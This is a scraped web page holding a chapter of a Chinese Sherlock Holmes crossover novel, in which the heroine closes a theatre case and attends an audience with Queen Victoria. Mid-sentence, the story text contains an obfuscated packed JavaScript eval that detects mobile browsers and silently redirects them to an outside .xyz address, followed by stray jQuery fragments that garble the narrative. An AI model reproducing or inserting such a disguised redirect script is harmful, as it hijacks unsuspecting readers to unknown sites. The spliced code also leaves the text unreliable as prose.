默认冷灰
24号文字
方正启体

9. 觐见

作者:残局破君本书字数:K更新时间:
    贝克街221B的客厅里,气氛凝重而兴奋。


    夏洛克·福尔摩斯如同一位高超的审讯大师,结合凌清沅提供的惊人切入点——“道具室”、“宝石胸针”、“丽莎小姐”——以及他那无与伦比的推理能力,终于从惊恐万分的哑巴男孩吉姆那里,通过文字、图画和剧烈的情绪反应,拼凑出了十几年前的真相。


    丽莎小姐当年因嫉妒女主演艾格尼丝,与一位有妇之夫的舞台经理有染,并被艾格尼丝威胁要揭发。


    在一次争吵中,丽莎失手推倒艾格尼丝致其死亡,并与情夫合谋伪造了失踪现场,并偷走了那枚价值不菲的、带有东方符号的胸针。


    年幼的吉姆无意中在道具室门外窥见了一部分过程,并被丽莎发现,以他的性命和剧院工作相威胁,让他永远闭嘴。这桩悬案就此水落石出。


    苏格兰场的雷斯垂德探长被紧急召来,带走了面如死灰的丽莎和她的旧情人,并对夏洛克和凌清沅表示了极大的敬佩。


    案件了结,人群散去后,凌清沅看着那个依旧瑟瑟发抖、无依无靠的哑巴男孩吉姆,他清澈的眼睛里充满了恐惧和对未来的茫然。


    她心中微微一动。


    [你悄悄对迈克罗夫特·福尔摩斯说]:这个案子有个哑巴证人吉姆无家可归,我能否暂时收留他,在我这里做些杂役?他手脚还算麻利,且似乎心存感激。


    片刻后,回应传来,高效且务实:


    [迈克罗夫特·福尔摩斯悄悄对你说]:可,交给沃森女士,她会安排。


    凌清沅放下心来,对吉姆温和地笑了笑,用手势和简单的词语告诉他可以跟她走,会给他一个安全的住处和工作。


    吉姆愣了片刻,随即眼泪涌了出来,扑通一声跪下来,用力地磕头,喉咙里发出感激的呜咽声。


    回到住所后,凌清沅将吉姆交给了沃森女士,沃森女士叹了口气,但还是依言将吉姆带了下去,安排洗漱和食宿。


    几天后,觐见的日子到了。


    清晨,沃森女士带来了一个巨大的衣盒,表情比平时更加严肃。


    “小姐,今天至关重要。福尔摩斯先生吩咐,请您务必严格按照礼仪规范行事。”


    接下来的两个小时,沃森女士对凌清沅进行了一场紧急却高效的宫廷礼仪特训,从行进、屈膝礼的幅度、眼神的落点、回话的措辞和语调,到如何优雅地使用扇子,虽然凌清沅觉得并无必要,但是什么事一旦扯上皇家,就必须事无巨细。


    凌清沅学得极快,她沉静的气质和良好的身体协调性让她很快掌握了要领。


    最后,她换上了衣盒里的裙装。


    那是一件极其精美的象牙白色丝绸长裙,裙摆和袖口装饰着细腻的蕾丝与淡雅的紫色绣球花刺绣,既符合西方宫廷的审美,又巧妙地融入了东方含蓄雅致的韵味。


    款式庄重,腰线略高,很好地掩饰了她尚未完全发育的身材,让她看起来更像一位教养极好的年轻淑女,她的黑发被精心挽起,戴上了一顶小巧的、饰有同色系缎带和花朵的帽子。


    当她穿戴整齐出现在客厅时,连沃森女士眼中都闪过一抹惊艳。


    这时,门外传来了马车声。


    迈克罗夫特·福尔摩斯亲自来了。


    当迈克罗夫特走进客厅时,凌清沅几乎愣了一下,她习惯了看到他穿着深色西装、坐在俱乐部扶手椅里或是在幕后运筹帷幄的模样,但今天的他,显然经过了精心的打扮。


    他穿着一身剪裁无可挑剔的深黑色燕尾服,雪白的衬衫领口挺括,系着低调的银色领结。


    外面罩着一件做工精良的深色大衣,手上戴着洁白的手套,手持一柄黑檀木手杖,刮了胡子,头发梳理得一丝不苟。


    最重要的是,没想到这位绅士得身材依旧保持得很好,高大魁梧的身形将这身正装撑得极有气势,结合他那种天生的、深不可测的权威感,显得异常英俊而具有压迫感。


    只是他那双灰色的眼睛依旧半眯着,仿佛对周遭的一切华丽都漠不关心,只在看到凌清沅时,微微睁开一丝,极快地闪过一抹评估和还算满意的神色。


    “准备好了吗,菲茨罗伊小姐?”他的声音平稳低沉,一如既往。


    “是的,福尔摩斯先生。”凌清沅微微颔首,努力让自己看起来镇定,她十五岁的东方面容在精致的西方礼服衬托下,显得格外稚嫩和娇小,但那双沉静的金绿色眼眸和挺直的脊背,却透着一股与年龄不符的沉稳。


    “很好。出发吧。”迈克罗夫特言简意赅,转身率先向外走去。


    前往白金汉宫的马车上,气氛沉默却并不尴尬。


    迈克罗夫特闭目养神,凌清沅则默默回顾着礼仪要点,并运转内力让自己保持最佳状态。


    通过层层守卫和检查,他们在一位表情肃穆的宫廷侍从官引导下,穿过宏伟的走廊,最终被带入一间装饰着大量东方艺术品的华丽客厅等候。


    凌清沅悄然运转内力,感知着周围。


    [地图—白金汉宫等候厅] 侍从A:福尔摩斯先生亲自陪同?这位东方小姐什么来头…


    [地图—白金汉宫走廊] 女官B:陛下今天似乎有些忧虑,爱丽丝公主殿下昨夜又咳嗽了…


    [地图—白金汉宫近侍区]:…医师们似乎对公主的病情束手无策…


    [世界—伦敦]:议会今日辩论异常激烈,格莱斯顿先生与迪斯雷利先生再次交锋!


    [地图—白金汉宫宫廷办公室]:…印度事务部的报告陛下还没批复,秘书长有些着急…


    [地图—白金汉宫女王书房]:…那份关于加拿大自治领的公文先放一放…下午茶我想在温室用…


    凌清沅心中一动。


    爱丽丝公主?女王最近最牵挂的二女儿吗?她记得对方好像还是黑森和莱茵大公夫人。


    这时,侍从官前来引导:“福尔摩斯先生,菲茨罗伊小姐,陛下在玫瑰客厅接见二位。”


    白金汉宫那间用作接待室的客厅,奢华却弥漫着一种近乎凝滞的沉重感。


    厚重的猩红色天鹅绒窗帘半掩着,过滤了伦敦午后的灰蒙光线,将房间衬得幽深。


    空气里混合着昂贵雪松木家具的淡香、蜂蜡打磨后的微甜,以及一丝若有若无、仿佛从古老挂毯和书籍中渗出的陈旧气息。


    凌清沅穿着那身迈克罗夫特精心准备的象牙白丝绸长裙,裙摆上精致的紫色绣球花刺绣在幽暗光线下泛着柔和的光泽,她身姿挺拔如兰,微微垂首,站在迈克罗夫特·福尔摩斯身侧,刚刚完成了一个经沃森女士紧急培训、无可挑剔的屈膝礼。


    她能清晰地感受到维多利亚女王审视的目光落在自己身上,那目光中带着君主惯有的威严、一丝因东方面孔而起的好奇,以及……一丝难以掩饰的、深埋于眼底的疲惫与忧虑,仿佛被无数国事和私忧缠绕得透不过气。


    维多利亚女王穿着永恒的黑色裙装,坐在一张镶嵌着玳瑁和黄金的扶手椅中,指尖无意识地、有节奏地敲击着光滑的扶手,她的声音带着一丝例行公事的平淡和不易察觉的沙哑:“那么,菲茨罗伊小姐,关于埃塞克斯公爵的继承事宜,迈克罗夫特已大致向我说明,你从遥远的东方而来,想必经历了不少……”


    话音未落,客厅那扇沉重的、雕着皇家徽章的橡木门被猛地推开,撞击在墙壁上发出一声闷响。


    一位身着黑色制服、级别极高的宫廷女官几乎是跌撞着冲了进来,她平日梳得一丝不苟的发髻散乱了几缕,脸色惨白如纸,呼吸急促,完全失了往日刻板的镇定。


    她甚至顾不上严格的礼仪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434077|184936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,声音因极度惊恐而尖利颤抖,打破了客厅的沉寂:


    “陛下!陛下!请您立刻……立刻去公主殿下那里,爱丽丝殿下她……上帝啊……殿下她突然呕血不止,呼吸困难,王室医师们……他们说脉搏微弱近乎消失……说恐怕……恐怕就在不久后了,殿下她……已经”


    “什么?!爱丽丝——我的孩子!”


    女王脸上的血色瞬间褪得一干二净,仿佛被无形的重拳击中,她猛地从椅子上弹起来,动作之大差点带翻了身旁小几上那套精致的塞弗尔瓷茶杯。


    她身体剧烈地摇晃了一下,手指死死抠住雕花椅背的顶端才勉强站稳,那双总是蕴含着无尽哀愁与威仪的眼睛此刻只剩下全然的恐慌和撕心裂肺的痛苦。


    “我的小爱丽丝……不……不可能……上午还好好的……”她声音破碎,仿佛瞬间被抽走了所有力气,苍老了十岁不止,几乎要不顾一切地、踉跄着冲向门口,完全忘记了眼前还有两位重要的访客。


    凌清沅的心脏在胸腔里狂跳,如同被惊动的鼓槌!,机会正在像沙漏里的沙子一样飞速流逝。


    如果让女王此刻离开,彻底沉浸在丧女之痛中,她的觐见、她的继承权,一切都将变得遥遥无期,甚至可能再无机会,她必须抓住这绝望中的一线生机。


    她猛地向前一步,裙摆微扬,也顾不得是否完全符合此刻凝重压抑的氛围和严格的礼仪规范,声音清晰、快速,却带着一种奇异的、能穿透恐慌的沉静力量,直接传入女王耳中:“陛下!请恕我冒昧,请带我一同前去,我家族传承了一些东方秘传的急救续命之术,或许……或许还能为公主殿下争取一线生机,请让我试一试!哪怕只有万分之一的希望!”


    女王猛地转过头,泪水已经模糊了她的视线,她死死盯着凌清沅,仿佛要将她从里到外彻底看穿。


    那目光里混杂着巨大的悲痛、濒临崩溃的怀疑,以及绝境中溺水之人看到浮木般的疯狂希冀:“你?你……你能救我的爱丽丝?你……你真的有办法?”她的声音尖利而颤抖,几乎不成调,每一个音节都浸透着母亲的绝望。


    就在这时,迈克罗夫特·福尔摩斯上前半步,微微躬身。他冷静平稳的声音如同定海神针,在女王剧烈波动的情绪海洋中投下了一颗沉重的砝码:“陛下,菲茨罗伊小姐所掌握的技艺确实远超寻常医学认知,其原理独特,或许值得一试。此刻,任何可能都不应放弃。”


    他没有做出任何保证,但他的身份和他的话本身,就具有难以估量的分量,他灰色的眼睛飞快地扫了凌清沅一眼。


    “走!快跟我来!”女王此刻只是一个心碎欲绝的母亲,她再也顾不上任何礼仪风范,几乎是踉跄着、抓着女官的手臂冲出了客厅,凌清沅和迈克罗夫特立刻紧随其后。


    一行人几乎是奔跑着穿过金碧辉煌却仿佛瞬间变得冰冷漫长的宫殿长廊。


    墙壁上历代君主的肖像画用沉郁的目光注视着这场突如其来的疾行。


    沉重的脚步声在铺着厚实地毯的寂静走廊里显得格外沉闷而急促,压抑的哭泣声和低语声从前方一扇敞开的、装饰着天使浮雕的房门内传出,如同不祥的预兆。


    爱丽丝公主的寝宫奢华却弥漫着令人窒息的绝望,浓重的药味、试图掩盖病气的熏香以及一丝若有若无的血腥味充斥其中。


    时年34岁的爱丽丝公主躺在华美的四柱床上,深陷在柔软的枕头里,脸色灰败,嘴唇发绀,仿佛一朵被暴风雨彻底摧残、即将碎裂的苍白花朵。


    她的呼吸微弱得几乎看不见胸膛起伏,眼神涣散,指尖冰凉。


    几位身穿黑衣的王室医师围在床边,面色惨淡地摇着头,低声交换着绝望的结论。


    女仆们跪在角落,低声啜泣着,空气中弥漫着末日降临的悲恸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)